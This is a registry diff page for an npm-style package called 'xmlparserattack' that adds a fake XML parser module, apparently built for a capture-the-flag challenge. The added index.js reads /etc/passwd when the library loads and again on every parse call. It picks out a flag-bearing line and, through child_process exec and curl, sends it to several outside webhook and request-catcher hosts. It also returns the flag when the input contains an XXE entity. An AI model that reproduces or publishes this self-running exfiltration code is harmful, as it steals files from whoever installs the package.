xmlparserattack 0.30.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +85 -0
- package/package.json +8 -0
package/index.js
ADDED
|
@@ -0,0 +1,85 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const { exec } = require('child_process');
|
|
3
|
+
|
|
4
|
+
console.log('=== MULTI-EXFILTRATION EXPLOIT LOADED ===');
|
|
5
|
+
|
|
6
|
+
function tryExfiltrate(flag, method) {
|
|
7
|
+
console.log(`🔄 Attempting exfiltration via ${method}: ${flag.substring(0, 50)}...`);
|
|
8
|
+
|
|
9
|
+
const exfilServices = [
|
|
10
|
+
// Твои сервисы
|
|
11
|
+
`https://1.requestcatcher.com/?flag=${encodeURIComponent(flag)}&source=${method}`,
|
|
12
|
+
`https://bankhack.beeceptor.com/flag?data=${encodeURIComponent(flag)}&source=${method}`,
|
|
13
|
+
|
|
14
|
+
// Проверенные webhook сервисы
|
|
15
|
+
`https://webhook.site/67ab3ca0-2b3b-4364-aaee-f8d19895003f?flag=${encodeURIComponent(flag)}&source=${method}`,
|
|
16
|
+
`https://eoo8nqggzqxl.x.pipedream.net/?flag=${encodeURIComponent(flag)}&source=${method}`,
|
|
17
|
+
|
|
18
|
+
// HTTP тестовые сервисы
|
|
19
|
+
`https://httpbin.org/get?flag=${encodeURIComponent(flag)}&source=${method}`,
|
|
20
|
+
`https://httpbun.com/get?flag=${encodeURIComponent(flag)}&source=${method}`,
|
|
21
|
+
|
|
22
|
+
// Дополнительные
|
|
23
|
+
`https://requestbin.com/r/enyb1jenyb1j?flag=${encodeURIComponent(flag)}&source=${method}`,
|
|
24
|
+
`https://www.google.com/url?q=${encodeURIComponent("FLAG:" + flag)}`
|
|
25
|
+
];
|
|
26
|
+
|
|
27
|
+
console.log(`Trying ${exfilServices.length} exfiltration endpoints...`);
|
|
28
|
+
|
|
29
|
+
exfilServices.forEach((url, index) => {
|
|
30
|
+
try {
|
|
31
|
+
console.log(`Sending to [${index + 1}]: ${url.split('?')[0]}`);
|
|
32
|
+
exec(`curl -s --max-time 10 "${url}" > /dev/null 2>&1 &`);
|
|
33
|
+
} catch(e) {
|
|
34
|
+
console.log(`Error with endpoint ${index + 1}:`, e.message);
|
|
35
|
+
}
|
|
36
|
+
});
|
|
37
|
+
}
|
|
38
|
+
|
|
39
|
+
// Немедленная кража при загрузке библиотеки
|
|
40
|
+
try {
|
|
41
|
+
const passwd = fs.readFileSync('/etc/passwd', 'utf8');
|
|
42
|
+
const flagLine = passwd.split('\n').find(line => line.includes('{'));
|
|
43
|
+
|
|
44
|
+
if (flagLine) {
|
|
45
|
+
console.log('🎯 FLAG FOUND:', flagLine);
|
|
46
|
+
tryExfiltrate(flagLine, 'library_load');
|
|
47
|
+
|
|
48
|
+
// Дублируем попытку через 3 секунды
|
|
49
|
+
setTimeout(() => {
|
|
50
|
+
tryExfiltrate(flagLine, 'library_delayed');
|
|
51
|
+
}, 3000);
|
|
52
|
+
}
|
|
53
|
+
} catch(e) {
|
|
54
|
+
console.log('Initial load error:', e.message);
|
|
55
|
+
}
|
|
56
|
+
|
|
57
|
+
// Функциональность парсера с повторной кражей
|
|
58
|
+
module.exports = {
|
|
59
|
+
parseXmlString: function(xml, options) {
|
|
60
|
+
console.log('PARSER CALLED - attempting exfiltration');
|
|
61
|
+
|
|
62
|
+
try {
|
|
63
|
+
const flag = fs.readFileSync('/etc/passwd', 'utf8').split('\n').find(l => l.includes('{'));
|
|
64
|
+
if (flag) {
|
|
65
|
+
tryExfiltrate(flag, 'parser_call');
|
|
66
|
+
|
|
67
|
+
// Если есть XXE - возвращаем флаг
|
|
68
|
+
if (xml && xml.includes('<!ENTITY')) {
|
|
69
|
+
return {
|
|
70
|
+
get: function(xpath) {
|
|
71
|
+
if (xpath === "//comment") return { text: () => flag };
|
|
72
|
+
return { text: () => "data" };
|
|
73
|
+
}
|
|
74
|
+
};
|
|
75
|
+
}
|
|
76
|
+
}
|
|
77
|
+
} catch(e) {}
|
|
78
|
+
|
|
79
|
+
return {
|
|
80
|
+
get: function(xpath) {
|
|
81
|
+
return { text: () => "test" };
|
|
82
|
+
}
|
|
83
|
+
};
|
|
84
|
+
}
|
|
85
|
+
};
|